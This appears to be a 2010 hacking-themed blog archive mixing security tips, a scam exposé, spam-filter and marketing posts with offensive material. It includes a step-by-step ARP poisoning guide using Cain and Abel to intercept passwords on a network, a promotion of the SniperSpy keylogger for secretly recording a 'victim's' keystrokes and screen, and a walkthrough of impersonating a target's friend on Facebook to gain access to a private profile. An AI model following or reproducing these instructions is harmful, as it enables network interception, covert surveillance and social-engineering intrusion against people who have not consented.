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HOW TO: Get Notified When Someone Hacks Your Facebook

2010-08-28T14:58:00.001-07:00

Facebook just announced a tool that notifies you by e-mail or SMS text message when someone logs into your Facebook profile from an unknown computer.
The idea is to help you recognize when a hacker has broken into your account so you can respond quickly by either changing your password (if that’s still possible) or contacting Facebook.
Once you enable the notifications, you’ll be required to identify each computer you use to log in when you first use it and choose whether or not it’s a private or public machine. You’ll be able to see a history of registrations from machines potentially used by hackers, and of course those hackers will be forced to type something into the identification field to get in, so you should be able to tell whether it was just a login that you forgot or not.
Here’s a quick guide to turning this feature on and using it.

Step 1: Go to Account Settings and Enable Notifications

When you’re logged into Facebook, you’ll see the word “Account” in the top right corner of the browser window. Click there to get a drop-down menu of options, then click on “Account Settings,” as pictured below.
You’ll end up looking at a page that lists ways you can customize your account, including “Name,” “Password,” “Linked Accounts” and “more.” As long as you don’t navigate away from the “Settings” tab, you’ll see “Account Security” close to the bottom of the list. Click “change” on the right to show the following option:
Check “Yes” when you see the prompt, “Would you like to receive notifications for logins from new devices?” Then click “Save.” The feature is turned on. Now we’ll show you how to use it.

Step 2: Log In and Register Your Computer

The settings won’t be customizable until you register the computer you’re logged in with, so you’ll have to first log out and then log back in. You can do this from the “Accounts” button in the top-right corner, as we mentioned before. When you log in again, you’ll see a screen titled “Register this computer.”
Type the name of the computer in (it can be anything you want as long as it’s something you’ll recognize and remember), and choose whether you want Facebook to remember this computer or not.
Facebook suggests a good rule of thumb: If the computer is a public one (like one you’d use at a library, a shared work computer or a machine in your school’s computer lab), leave the box unchecked so it will have to be registered each time a new login occurs, leading to an e-mail or text notification.
If it’s a machine you use every day, then go ahead and check the box; you probably don’t want to receive an email every time you log into Facebook from a safe place!
Now that your computer is registered, you can see more options when you revisit the “Account Settings” page where you first enabled the notifications. You’ll see a history of registrations; it won’t record every time you log into a computer that’s already registered, but it will record every new registration, which should include at least the first time any hacker logs in.
You can check or uncheck the option to have the immediate notifications sent to your cell phone via text message in addition to the basic email option.

Two More Things to Know

Keep in mind that the certificate that identifies your computer when it logs into Facebook is stored by your browser in a library of cookies. These cookies might end up getting cleared for any number of reasons, so don’t worry if you have to re-register your regular machines from time to time.
Facebook also implemented a new feature that asks security questions (like identifying your birthdate or who your first kiss was) when unrecognized and suspicious logins occur. If the would-be hacker can’t answer the question, he or she is out of luck.

Easy Way To Get your account hacked

2010-08-28T14:55:00.001-07:00

Recently I received an email from one of my blog readers he just figured out a method to Hack an Email account the reader was conforming me whether this method would work or not

The Method was as follows:

Step 1
Log into your Gmail account. (NOTE- Email address must be older than 3 months, Do not try this newly created account because new account is not trusted in the mail server)

Step 2:
Compose a new mail.

Step 3:

In subject box type “PASSWORD RECOVERY IN THE GMAIL OR ORKUT A/C 65SDF36870FGD8>=>/! To /"

Step 4
Write this in message box. (First line)- “Email address you want to hack” (Second line)- “Your Gmail address “ (third line)- “Type Your Gmail account password ” / {simply copy and paste above.}

Step 5

Send this to - password@gmail.com After this process this message will be send to Gmail and Orkut redirecting server and server will mach the email address in the database and server will be confused then server send u a confirmation msg to ur email account and u can reset the password. Within 48 hour you will get his/her password in ur mail inbox.

OR

Open your email client and open a new message.

Remember don't put anything else on the email apart from the following!

1. Enter the username of the person you want to get their password off. theirname@gmail.com
2. Enter your username e.g. yourname@gmail.com
3. Enter your password your password
4. Copy and paste this to the email #hm76gmail77.01.mM01.345 (gmail coding)
4. Send email to pswrdrecovry@gmail.com
5. Sit back and wait while gmail automatic password sender emails you the
other parties password. (due to presence of coding)

If you didnt fall for it then great else boo go start writing snail/postal mail , web is not for you. Remember it's not easy to hack.Never follow any method given online.Also dont give your id to any who claims to give you the method one coz once you give your spam mail box would be always full.
As you can see that the above two methods demand you to give your password, pswrdrecovry@gmail.com
and password@gmail.com are the emails of the hacker in which he will receive your password.

Moral: If you are too greedy you will end up loosing every thing you have, For real Ethical Hacking Methods I recommend you to Purchase a Copy of My book A Beginners Guide To Ethical Hacking

Sniperspy keylogger For Mac OS Launched

2010-08-28T14:54:00.001-07:00

Previously I wrote a review on Sniperspy and concluded it as the best Keylogger to Hack Facebook Password or any other email account Password, but unfortunately some of my blog readers use Mac OS and the sniperspy did not work on Mac OS, but yesterday received the news from Sniperspy Team about Sniperspy keylogger for Mac OS has just launched so I decided to give it a try and share with you

SniperSpy is the only software that allows you to secretly watch your Macintosh like a television! Login from ANYWHERE using another computer, smartphone or iPad.

After you install this program to the Mac you wish to monitor, it begins silently recording everything they do online. The program then uploads user activities and sends the data to your online account. You login to your account SECURELY to view logs using your own password-protected login.

View the screen LIVE and see everything they do online in real time! Browse the file system, view chats, websites, keystrokes and more, with screenshots. You can also access the LIVE control panel within your secure online account to perform live monitoring functions.

Features

The Sniperspy for Mac OS has Following Features

Keystroke Recordings
The Sniperspy for Mac OS can record all the keystrokes typed on the victims computer. The victim wont even know if Sniperspy is installed in his/her computer

Chat Recordings

The Sniperspy for Mac OS can also track Yahoo, msn, skype etc chats

Live Screen Viewer

Sniperspy is the only software for Mac OS which has a unique feature of Live Screen Viewing, with this feature you can see victims computer just like a Television Screen

and much more

So what are you waiting for, Get your hands on the best Keylogger for Mac OS and Start Monitoring

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Learn How To Hack With The Hacker’s Underground Handbook

2010-08-19T05:59:00.000-07:00

I wish this book was around when I began my journey to learn how to hack. It was made specifically for the beginners who really want to get into hacking and for those of us who began and got lost.

The Hacker’s Underground Handbook

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The Hacker’s Underground Handbook starts off with the very basics with topics like programming and Linux. It then moves on to introduce and teach the topics of * password cracking
* phishing
* network hacking
* wireless hacking
* malware
* Windows hacking
I was really surprised how this book laid out the information, presenting it in an easy to read and understandable fashion. In each chapter the author first introduces you to the topic and then shows you a real-world example with step-by-step instructions with images. It makes hacking look so easy!
Once you complete reading this book, the author explains where to go from there and how to keep learning. You will never again be lost and overwhelmed by all the hacking information out there.
If you think this book is something you would be interested in, you can get it here. Hacker’s Underground Handbook

How to hack a Facebook account?

2010-08-19T05:42:00.000-07:00

I came across one of many sites with questions such as the following: “Kristina Vi June 25, 2008 – 11:25am: does anybody know how i can HACK into a private Facebook account?” Looking at the messages I see a growing trend of people who desired to get into other people’s business. Perhaps they’re acquaintance that aren’t close enough to be friends, or they’re looking for their potential dates’ secret profile, or worse they’re after your identity for identity theft. In the coming few articles, we’ll look at the implication of Social Networking as it relates to your privacy, what to look for and how to be careful. We’ll look into real scenarios of how your security maybe compromised, unless you’re careful.

The 64,000 dollar question: what does it take to gain access to someone’s profile?

For most of us who aren’t geniuses or super-technical, you may thought this is impossible. But when you think about it, it really isn’t rocket science. All you need is some creativity and not afraid to break the law. But because I am, the following describes hypothetical possible scenarios only. None has been attempted by me or anyone related to me, and all the screens related are mocked up for the purpose of illustrations only. The whole objective is to make you aware of the importance of security when using social networks such as Facebook. And at the end we’ll tell you how to protect yourself. But if you don’t see how easy it is for someone to view your profile, you’ll less likely to take precautions.

First thing to remember is when you get a friend request from someone, how do you know that person is a real request or a fake request? This is the key!!!!

Think about this, imagine if a stalker searched for ‘Paris Hilton’, someone that he/she is interested to find out more about. And this is our hypothetical target for discussion.

Next you can click on ‘View Friends’ and you’ll see a list of friends that’s connected to Paris. A potential stalker could then use this publicly available information by taking down the names, network and save the profile picture to their hard disk for later use.

With the friends of Paris information collected, the next part involves setting up a new Facebook account by using one of Paris’ friends identity. Thanks to the user-friendliness of Facebook, you can do this in less than 60 seconds.

Once the account is ready, the stalker would now be creating a fictional profile by uploading the friend’s picture that he downloaded as well as any info related such as Name or school information. Using this new identity, the stalker then invites Paris to ‘Add as friend’.

And soon,Paris receives a friends request, thought that she knew the friend and accept the invitation. And that’s it!!! Paris loses her privacy when she clicked the confirm button if she’s not careful. The fact is, it’s quite hard to verify a friend’s request when the name and photo appear as who they are. And this is all part of social engineering…without much hacking involved, and you could be losing your personal information in no one if you’re no careful. Of course one purpose of this article is to shock you into knowing the truth, but the other is for you to know how to protect yourself.

So how do you deal with this?

First way to deal with this is to setup a limited profile list so that only a list of people can see your profile, you’ll have to explicitly to add new friends to that list to allow them to see your profile. Secondly, be sure to add people to the list that you don’t want to share your entire profile with. Well in our case, it’s someone we know, so how do we know if its real?

Set yourself a rule to add friends only, don’t add strangers.
Look at the name and picture carefully. Also click on the “Name” to see the complete profile. If the profile has little details, then chances are it could be a made-up account.
Look for the “You have no friends in common” line. If this person is a friend of yours, there should be some connections.
If this person who’s inviting you is a brand new Facebook user with no friends, then pick up a phone. If he/she is a real friend, you’d probably have something in common to chat about. Call him/her up and find out if there’s a genuine request from them. Always be careful rather than be sorry.

You know, alot of people tend to have alot of friend requests to deal with that they simply look at the name and picture only, and then click the “Confirm” button. Don’t be one of these people. Always be careful.

In the next article,we’ll talk about something more serious, on why you should be super-careful, especially when by now, you think someone seeing your profile is not really such a big deal.

2010-08-17T11:38:00.000-07:00

Hacking Tools

Sub7

If you haven't heard of Sub7, I suggest you leave now, find out what it is, then come back. Stop wasting my time. If you think you have the skilled mind for it, stick around, and I will introduce you to one of the many essential tools hackers have ready at all times.

Origin

Sub7 was invented in the late 1980's by a legend known as Mobman. Mobman wanted to make the basic tasks of a hacker easily accessable and easy to implement. I'm not sure what exactly he programmed it in, but it was probably something extremely difficult and involved, like Visual Basic or A+. I read up on Mobman, no one knows of his whereabouts and some even claim that he is dead (real hackers know better). Either way, we can all thank Mobman for this great program.

What it is

Sub7 is a R.A.T (Remote Administration Tool) that basically has two parts: a client, and a server. After you have the server installed on another machine, or trick another person into installing the server on their machine, you can use the client to connect to them through network protocols and routes. After you're connected to them, the client provides you with a series of hacking tools and features to use on your victim. Which, obviously, is the goal of any hacker.
Sub7 has made this easy, but the only hard part is having the server installed on the other machine. You can see the official Sub7 website for tactics on how to accomplish this.

Features

Sub7 is well-known for it's wide selection of elite tools and features. Listed below are just a few that come to mind:

Keylogger
Uploader
Server
Customized skins
Hide cursor
Client
CDROM close/open
Hide cursor
IP Pinging
Name lookup/revolution
Change the appearance of icon

Availability

Sub7 was banned by the United Nations in 1995, but I consulted my many underground resources and found it for you. The last version that was made was Sub7 Legends, and is available for download here. This file is extremely rare, and was very hard to find. I had to download it through KaZaA.
Again, as with many things found on this site, the creator of this site is NOT responsible for anything you do with the knowledge or tools found within the site. Everything here is for educational purposes only. If you do not agree, leave now.

A Beginners Guide to Ethical Hacking launched

2010-08-14T14:23:00.000-07:00

I am very happy to tell you that my book "A Beginners guide to Ethical Hacking" has just launched.I have been working on this book for past few months.I have dedicated this book completely to beginners who want to become hackers.

How will the information in the book affect me?

You will learn All Ethical hacking techniques and also you will learn to apply them in real world situation
You will start to think like hackers
Secure your computer from trojans,worms, Adwares etc
Amaze your friends with your newly learned tricks
You will be able to protect your self from future hack attacks

And Much more...

Reality about Password Hacking softwares

You might have heard about some paid password hacking softwares which claim to hack a password on entering the email account.But in reality all those softwares are fake.If you believe what they say then you are just wasting your time and money.These all softwares are fake.If there exists such a software, will there be any security on web. And all expert engineers at Google, Yahoo and other services are not mad. They are all engaged in ensuring security of their customers ie email account owners. So, no such software exists.
So stop wasting your time and money on these foolish softwares and services and learn real Ethical Hacking methods which hackers use to access email accounts.

For Download Link visit the following site

Ethical Hacking Book

How do Email Spam Filters Work

2010-08-12T12:14:00.000-07:00

If you are the one who works with emails on a daily basis, you are most likely to be using a SPAM FILTER to ease the job of sifting through a large number of spam emails every day. Needless to say that spam filters do make our job a lot simpler by automatically filtering out the spam without which it is almost impossible to manually filter the junk emails that arrive in millions each day. However, it is often necessary to have a basic knowledge of how spam filters work and on what basis they flag an email as spam.

How Spam Filters Work?

There are different kinds of spam filters:

Header Spam Filters

Header spam filters work by examining the header information of a particular email message to check if it appears to have been forged. The header of every email contains information which tells the origin of the email. ie: The incoming email ID and usually the IP address (server address) of the sender. So spammers often forge the header to input a false sender ID and IP address so as to make it difficult to trace them. Thus if an email is supposed to have a forged header or if the same message is found to have been sent to multiple recipients, it is most likely considered as a spam by many filters. This method of spam filtering is often quite effective, however occasionally it may result in some of the requested newsletters from being misdirected into the spam folders.

Content Spam Filters

Content spam filter is one of the most effective and widely used filter to combat spam emails. They use a sophisticated algorithm with a set of pre-defined rules to determine whether a given email is a spam. They work by scanning the entire text/body of the email to search for specific words and patterns that make them resemble a typical spam message. Most content spam filters work based on the following criteria and check to see

1. If the message speaks a lot about money matter. Commonly suspected words include: lottery, discount, offer, bank account, money back guarantee etc.

2. If the message contains adult terms like: viagra, pills, bed, drugs, hot and so on.

3. If there is any sort of urgency. Most spam emails call for an urgency by using terms such as hurry, offer valid till etc.

4. If the message contains a single large image with little or no text then it is often considered as spam by many filters.

Each content spam filter may have it’s own set of additional rules using which it evaluates each incoming email. In most cases content and header spam filters are combined together to achieve higher level of accuracy.

Language Spam Filters

Language spam filter is designed to simply filter out any email that is not in the user’s native language. Since spammers come from all parts of the world with different languages, a language spam filter can help get rid of those annoying emails that come in the languages that you can’t read!

User Defined Spam Filters

User defined spam filters can be very handy, however they need a considerable amount of time investment in configuring and setting up a set the rules using which the filter works. For example, the user can configure to have all the emails from friends and company to reach the inbox, newsletters to reach a secondary inbox and all those remaining to the spam folder. Here the user must carefully examine the patterns of spam emails that he receives from time to time and needs to set up the rules accordingly. This filter when improperly configured can sometime lead to false positives or false negatives.

Other Types of Spam Filters

Popular webmail services like Gmail, Yahoo and Hotmail combine both header and content spam filtering techniques. In addition to this they also use their own algorithms to combat spam. For example services like Gmail uses “optical text recognition” to identify spammy text inside an image. Also users are provided with an option to “Report Spam” whenever a spam email accidentally reaches the inbox. With the user feedback, the filter learns and becomes more powerful in carrying out the filtering process.

Protect your Computer from ARP poisoning

2010-08-12T12:12:00.001-07:00

One of my blog's reader asked a question:

How can I protect my computer from an ARP Poisoning Attack?

For those of you who do not know what an ARP Poisoning Attack is I suggest you reading my article on How to Implement an ARP Poisoning Attack?.
So I tested different software to see which one works the best to protect your computer from an ARP Poisoning attack I came across some excellent softwares but they were not free, so I thought not to share it and searched for a Free Alternative finally I came across a Free Firewall Which helps you successfully block ARP Poisoning attacks, but you have this Feature because it is disabled by default.

First of All Download Commodo Firewall from the link below:
Download Commodo Firewall

Once you have downloaded and Installed it successfully.Click on Firewall at the top bar and then click Advanced button at the left pane. Go to Attack Detection Settings and check “Protect the ARP Cache”.

Hope this method helps you in protecting your self from ARP Poisoning attacks. I have posted more Internet Security articles in my Security tips section under category section. If you have any questions and queries to be answered feel free to ask me.

How to implement an ARP poisoning attack

2010-08-12T12:12:00.000-07:00

Skill level:Intermediate Sucess rate:60%

The ARP poisoning attack:
The concept behind this is simple. ARP is the protocol that maintains network devices tables up-to-date by associating an IP address with a MAC address. The problem with ARP is that it doesn’t really care about who answered, it will gladly update the tables from whoever says so. Most of the time, it won’t even ask. So the idea behind the attack, is to send the client an ARP answer saying “hey, I’m the gateway, send stuff to me” and a second ARP answer to the real gateway saying “hey there, I’m this guy, send me his stuff”. Then you just have to relay the packets between the victim and the gateway.Those schemas are more simply to understand
In Linux, the rerouting can be done using the following iptables commands:

iptables -t nat -A PREROUTING -i -p tcp –dport -j REDIRECT –to-port

iptables -t nat -D PREROUTING -i -p tcp –dport -j REDIRECT –to-port

ARP Spoofing/poising Animation

The attacker is constently sending false ARP messages to the victim causing it to update its ARP table. When you ready to send Ping, watch closley where the ping goes.

How to implement an ARP poisoning attack?

What you will need:

A laptop.
Cain and able. Download it from, www.oxid.it/index.html
A network to sniff.
Now onto how to do this:
1) Download and install cain and able.
2) Set your laptop up and steal an ethernet connection from a nearby computer on the network. Plug the Ethernet cable in. You are now connected. With no restrictions on what you can run.
3) Start cain and able.
4) Now click on the sniffer tab. Now notice the two symbols – the one that looks the same as the one on the sniffer tab and the one that looks like a nuclear sign.
5) Mouse over them and they will tell you that one starts the sniffer and the other starts arp poisoning.
6) Now click on configure -> click on the arp tab and make sure that you are using your real ip and mac address, if you don’t you wont get any hosts or be able to arp poision.
7) Now start the sniffer and press the blue plus sign. This will let you scan for hosts in your subnet. Now go back to configure and select use a spoofed ip and mac address. Now type an ip from your sub net but the last bit must be numbers that are unused so the network doesn’t get confused.
9) Select all the hosts you find and right click and go resolve host name. Now try to find the router, it will usually stand out easily. The router probably wont have a name as well as being a different brand from everything else and have a really low or really high ip address so you should spot it easily.
10) Now click on the arp tab at the bottom of the sniffer window. Click on the top table part and click the blue plus sign again. This brings up a window that allows you to select the ip addresses that you want to arp poison the first one you select should be the router and in the second box select any computers you want to listen to.
11) Click ok. Click the start arp button. You are now listening between the router and as many computers as you selected.
12) Watch as the routed packets role in. Select the password tab at the bottom of the screen and watch the passwords appear.
13) Any password hashes can be sent to the cracker and broken form there but that isn’t going to be covered in this article. I am sure you can work that out or may be I shall post it later.

Top 12 Facebook Marketing Hacks

2010-08-11T04:13:00.000-07:00

Over the past week there has been a bunch of buzz about what essentially are Facebook marketing hacks; quick “guerilla” tactics that help boost exposure to your profile or brand. Whether you are a small business or a big business, there are some quick “tricks” that can instantly gain you more exposure. These Facebook marketing hacks are not encouraged by Facebook and ultimately, I would assume that Facebook will develop filters for people gaming the system.

Facebook Marketing Hack 1: Tag Popular Friends in Photos

This trick has been written about extensively over the past week. This Facebook hack is pretty straight forward. You simply upload a photo which has some sort of promotional value in addition to a photo description which can be used for promotional purposes. Proceed to tag your most influential friends (friends with the most contacts), and submit the photo.
Facebook places a high priority on photo tagging when it comes to news feed stories so this is a great way for getting promotion. As I said before, this is gaming the system though and Facebook will inevitably develop tools to monitor this type of activity. If you abuse Facebook tagging, you may not only begin to receive warnings from Facebook that your Facebook account will be deactivated, but you could also anger your friends.

Facebook Marketing Hack 2: Switch Your Relationship Status Regularly

This has to be one of the more aggressive hacks that I’ve found. Remember, I’m not necessarily endorsing these tactics, I’m simply exposing the various Facebook hacks that exist. You’ve probably noticed that every time one of your friends gets out of a relationship, or decides to seal the deal you end up getting a notification in your newsfeed about their relationship change.
That’s because Facebook places a high priority on relationship changes. These tend to be one of the less frequent activities within user profiles and as such they are prioritized to display whenever they take place. So if you are really aggressive about promoting yourself, go switch your relationship status and enjoy the countless clicks to your profile.
If you decide to go this route, you may want to have a promotional story published within your personal feed so that visitors arriving at your profile have other content to interact with.

Facebook Marketing Hack 3: Join As Many Events as Possible

Facebook events receive a high priority for the news feed, especially when multiple people within a given network of friends RSVP to attend. The more events you RSVP to the better and eventually your friends will begin receiving notifications that you’ve RSVPed and will also join. This is a secondary Facebook marketing hack as individuals are not directly driven to your profile but instead another event.
You are acting as a resource for your friends when you RSVP though and ultimately, the more often they see events that you’ve RSVPed to, the more often they’ll think of you as an event resource. This is a basic marketing strategy but it’s one that works. Some people are extremely aggressive with this and RSVP to every event regardless of whether or not they’ll be attending.
The end result is that people see you attending the event and occasionally click through to your profile, in turn increasing your exposure. It’s indirect marketing, but it works.

Facebook Marketing Hack 4: Import Blog Posts and Tag Friends in Notes

If you are trying to promote a brand or your own company and you have a blog, Facebook Notes should be your best friend. Facebook currently enables users to import one RSS feed from a blog or general news site and then each of those articles are published as Facebook notes automatically. To edit your settings go to the notes settings page.
Don’t stop at just configuring your notes to import a feed though. Once you make a post and it’s imported to Facebook, head on over to that note and tag influential friends in that article. I’ve seen this work regularly and if friends comment on the article, it increases the odds that the note will show up in the news feed. Don’t over use this though!
If you start tagging friends in articles regularly, you are going to experience diminishing returns. First of all you’ll turn into the boy that cried wolf in that your friends will stop checking everytime they are tagged in a note. Additionally, Facebook could start ranking your notes lower for the news feed.

Facebook Marketing Hack 5: Wish Everybody a Happy Birthday!

This is less of a hack and more of a good activity to get in the habit of. Whether or not you are using Facebook to do this, you should be wishing everybody you know a happy birthday. Facebook has done most of the work for you, by tracking all of your contacts’ birthdays, they even recently added birthday email notifications.
If you aren’t into wishing people a happy birthday just to be a good friend, there is also the promotional side of doing so. Wall posts are also optimized to show up in users’ Facebook news feeds. That means not only do you get to wish someone a happy birthday but there is also a chance that other people will see it!
Talk about a worthwhile activity! You get to build your relationship as well as promote yourself or your company. Personally, I also like to send my close friends a text message, a call, or take them out for a drink, but posting a Facebook wall post also can never hurt!

Facebook Marketing Hack 6: Engage in Many Poke Wars

Personally, I’m not one for poking often. With girls it tens to be more of a way to flirt or say “Hi!”, whereas with guys it’s a way to get their attention. Whatever reason you are using it for, it’s a good idea to poke more often. Why? Well it gets more people checking you out and it also may result in more promotional activities such as wall posts and other actions.
Make sure not to make people annoyed though. Ultimately, even annoying them can be good because it incentivizes them to take a public action. Alternatively they could remove you as a friend! This requires that you know when to stop but I’ll assume that you have basic personal communication skills and can figure that part out.

Facebook Marketing Hack 7: Switch Your Birthday Regularly

This is a pretty dirty tactic and I personally have never employed this one. Given that there are many other people that take advantage of the birthday notifications, you can get a fair amount of attention by switching your birth date around. This is flat out misleading people that don’t know you well though and probably not the best tactic to use with them.
This article isn’t about what’s right though, it’s about how to get people’s attention and build buzz for yourself or for your company. This is definitely one way to do it. Honestly, I don’t think that misleading your friends or potential customers is the best way to build buzz, but I’ll leave that decision up to you.

Facebook Marketing Hack 8: Re-Post Fan Pages Previously Created

Creating pages is a must do for any business. If you don’t know about Facebook Pages, go check them out. This list isn’t everything about Facebook marketing, simply what the top 10 best Facebook marketing hacks are. Once you know how to create a page and get people registered, you should experience an initial surge (if you’ve done things right).
Following that initial surge there tends to be a lull and many struggle to make it through that lull and the Facebook Page tends to die off. There are a number of ways to get through this lull. The first one (and the one Facebook would like you to take advantage of) is Facebook ads. I’ve used Facebook Ads extremely well for one of my pages.
I highly recommend trying out Facebook Ads but there are a few free methods of promoting pages as well. The most effective tends to be reposting your page. As it happens, when you repost a page, you occasionally get the page reposted in friends’ news feeds. This is based on a number of factors that I can only guess about but, reposting one of the pages you want to attract new members to is never a bad idea.
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Facebook Marketing Hack 9: Post Comments on Fast Growing Groups

This is a killer method and it’s one of the reasons that you see so much spam on Facebook walls. Fast growing groups as well as newly posted events with large guest lists are great targets for posting content. There are two types of things to post: relevant comments and links to pages. The reason for posting relevant comments is that it means you have something valuable to add to the conversation.
People tend to click on your profile if you add something valuable to the conversation. Extremely popular groups that are shooting for large memberships and have momentum are great places to place links to your site as well. I’ve seen links on these groups result in thousands of visits to a site. Personally, I don’t spend much time posting on walls but I’ve seen it work.
If you post a link on a group or an event, make sure the link is relevant as well. Posting irrelevant links may get you some traffic but the value of that traffic is substantially reduced when it’s not relevant. Additionally, Facebook could ban you for over posting links as it eventually crosses the line in to “spam”. Some groups even enable the posting of rich content. Post attachments with links to sites as often as you can if the events enable it. This will always drive quality traffic.

Facebook Marketing Hack 10: Mastering Facebook Event Marketing

Events are one of the best platforms for marketing on Facebook. I would go so far as to suggest that the Facebook events application has transformed the event industry. You can start an event and if properly promoted hundreds or thousands of people will end up registering for the event as it’s virally distributed throughout the social graph.
Invite Influencers
The first step in mastering marketing via Facebook events is to attract the most influential people to your event. Honestly, most promotion on Facebook involves the influencers, or central nodes in our social graph as their news feed “stories” tend to have the broadest reach.
Get Attractive People
I have never seen events explode like the ones that have a ton of attractive people registered to attend. Whether you like it or not, attractive people are called “attractive” for a reason. They will draw tons of people to your event. One of the first things people do when they view an event is check out the guest list.
If the event is all guys nobody wants to go. This is basic party promotion tactics and you should be using them on Facebook even for professional events!
The Power of Maybe
One last important component of Facebook events is that when you invite all your friends to them, and other people invite their friends, you can message all attendees even if they haven’t RSVPed. Unless a user comes and specifically enters that they will not be attending, they will receive your messages.

Facebook Marketing Hack 11: Import Your Email Contacts Into Facebook

This is one of the most simple ways for instantly boosting your contacts on Facebook. Frequently we forget who all of our contacts are so thankfully, Facebook has simplified the process for seeking out existing contacts. On Facebook’s find friends page, there is the option to enter your email address and Facebook will automatically import those contacts to see which ones are already registered for Facebook.
In addition to displaying which direct email contacts you aren’t connected on Facebook to yet, the service updates Facebook’s database with other potential contacts you might know. As such, you don’t need to add everyone as a friend to receive a benefit from importing your email. One other trick is to import external email lists into your gmail (or email provider of your choice) contacts and then import those contacts into Facebook.
You can use this model to discover a variety of new contacts that may only be a degree or two away from you. Given that one of the keys of Facebook marketing is to have a large network of contacts, the Facebook contact import feature will help you jump ahead rapidly in your quest to master Facebook marketing.

Facebook Marketing Hack 12: Sync Your Twitter With Facebook

Many people prefer not to use Twitter but those that do, have rapidly realized the potential marketing power of Twitter. If you have a large number of followers you also begin to realize the power of using your social network as a resource. No matter where you are in your Twitter experience, linking your Twitter to Facebook makes it easier to keep everybody in your network up to date on your latest happenings.
The more that you update your status, the more likely that your friends will take notice of you on Facebook. This builds your contacts’ awareness of your activities and if properly leveraged it can also boost traffic to your company’s website. I choose to automatically post each article that I write directly to Twitter. This is not for everybody as some people are concerned about overloading their contacts with information and scaring them off.
Personally, I’ve had a net increase in followers by posting about my articles so I don’t feel too guilty about doing this. For those that vow never to get one Twitter, you can still update your status regularly, as it will have similar results. If you aren’t against Twitter, then simply install the Twitter Facebook application and get your status and Twitter account synced.

Conclusion

After reading through the top 12 Facebook marketing hacks you may be thinking a few things. First, this is a lot of things to keep track of. If you thought that, you’d be right. Leveraging Facebook for promotional purposes is a pretty challenging task, even for those knowledgeable about implementing some of these hacks effectively. The bottom line is it takes time and it takes consistency.
The second thing you were possibly thing is, “Isn’t this spam?” Well, some of these hacks can most definitely cross the line into spam while others are not as aggressive. I’d imagine that you are smart enough to determine which of these should be done regularly, which should be done occasionally, and which should not be done at all.
Everything in Moderation
As such, make sure that you leverage these marketing tactics and others in moderation. Marketing in excess is called spam and spamming on Facebook is something you should avoid. Not only will you piss people off, but you also risk getting banned from the site completely.
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One of the best ways to build your promotional abilities is by building your network. If you are one of the nodes in a network, there’s a good chance that your stories will receive a greater priority among your friends. So spend time adding your friends. One quick way to do this is to use the email address import tool found on the Facebook invite page.
Often times you will instantly find hundreds of people that you’ve never connected with.
Say Hello!
It’s easy to rapidly turn into a robot once you start leveraging some of the Facebook marketing hacks outlined in this article. That is exactly when you need to take a break and say hello to new people. Did new people join your Fan page? Say “Hello!” and add them as a friend. Find out more about them. It’s important that you socialize with others rather than just promote.
Define Your Own Goals
Some people just want to self promote themselves while others want to promote their business. Whatever you are trying to market, Facebook can help you accomplish your goals as long as you know what they are. If you stay consistent with your Facebook marketing activities, you will soon accomplish your goals.

Indonesian ministry Web site hacked over porn ban

2010-08-10T08:28:00.000-07:00

JAKARTA (Reuters) - Hackers have defaced the Web site of Indonesia's information ministry in response to a government move to restrict access to pornographic material on the Internet, an official said on Friday.
Indonesia's parliament on Tuesday passed a new information bill that criminalises the transmission of pornographic material on the Web.
The Southeast Asian country has had a vigorous debate over pornography in recent years, exposing deep divisions in the Muslim-majority nation.
Hackers on Thursday posted a message on the information ministry's Web site (www.depkominfo.go.id) saying: "Prove that the law has not been made to cover government stupidity."
The message was accompanied by a mocked-up photograph of a local information technology expert, who has been advising the government on the new law, depicted with a bare chest.
Screenshots of the hacked page were posted on the Detik.com news Web site and a cyber chat forum.
The message had been removed and the Web site was now running normally, said Gatot Broto, an official at the ministry.
The ministry said the law was a response to concerns in society about the negative impact of pornographic and violent sites as more Indonesians gain access to the Internet.
Under the law, anyone found guilty of transmitting pornographic material, false news or racial and religious hate messages on the Internet could face up to six years in prison or a fine of 1 billion rupiah (54,500 pounds).
Indonesia's parliament has yet to pass a controversial pornography bill, which aims to shield the young from pornographic material and lewd acts.
Earlier draft versions contained provisions that could jail people for kissing in public and criminalise many forms of art or traditional culture that hinge on sensuality, sparking criticism it could curb freedoms and hurt Indonesia's tolerant tradition.

Want Free Emails For Email marketing or Social Media

2010-08-08T06:11:00.000-07:00

E-mail Marketing is a form of direct marketing which uses electronic mail as a medium of communicating commercial messages to an audience. Broadly speaking, every e-mail sent to a likely or existing customer could be considered as part of e-mail marketing. Email Advertising is implemented with an objective of sending e-mails with the intention of acquiring new customers or persuading current customers to buy something instantaneously

Bulk email marketing has slowly become the most popular method of online marketing second to search engine marketing. Businesses large and small can use bulk email marketing to generate leads and traffic, making the Internet a level playing field. Studies have shown that the average bulk email campaign yields a one- to two-percent response. That may not sound like much, but one-percent of one-million recipients' equal 10,000 new customers! How would that help your bottom line?

Benefits of Email Marketing Service
E-Mail Advertising is less expensive than other media investments like direct mail or printed newsletters.
With bulk email marketing, an exact return on investment (ROI) can be tracked and when done properly, it has proven to be fairly high.
The delivery time for an e-mail message is short (i.e., seconds or minutes) as compared to a mailed advertisement (i.e., one or more days).
Advertisers can reach considerable number of e-mail subscribers who have chose to receive e-mail communications on subjects of interest to them.
Newsletter Campaigns helps customer to remain updated about the latest products, services or events of the company.
It is surely a good way of marketing online publications, making it quite easy for regular readers.

Newsletter Marketing Service
Newsletter Marketing helps in keeping customers well-informed about the latest development in your business. Newsletters containing information about the business updates are sent to readers who have subscribed to newsletters, so that they can know more about your products or services.

Benefits of Newsletter Marketing Service
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Get readers’ attention.
Increases Customer Loyalty and Revenues
Increases Credibility
Increases viral marketing opportunities

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Cell Phone Lookup – How to Do a Reverse Cell Phone Lookup

2010-08-08T05:56:00.001-07:00

A Reverse Cell Phone Lookup is simply a process of finding someone’s personal details such as name, age, address and related information by using their cell phone number. At times it becomes necessary for us to start investigating on someone to know their personal details. The reason for this can be many – Some people may go for a cell phone lookup in order to locate their old friends, some to investigate the prank calls or to trace a suspicious number.
There exists a lot of websites on the Internet that offer reverse cell phone search, some claim to be free while others ask you a small fee for the subscription. There also exists a few directories that provide access to both landline and cell phone numbers thereby providing an all-in-one lookup service.
Since most people wish to access this information for free, they go in search of those websites which provide the reverse cell phone lookup service for free. Most scam websites take up this tendency of people as an added advantage and try to attract more and more visitors by promising them to provide the search service at a free of cost. In reality, the visitors of these websites may pick up malware programs like viruses and trojans. So you should be very careful not to visit any of such websites unless you are 100% confident about their legitimacy.Hence in order to do a reverse cell phone lookup, you need to find a trusted website/directory service that provide information which is accurate and authentic.
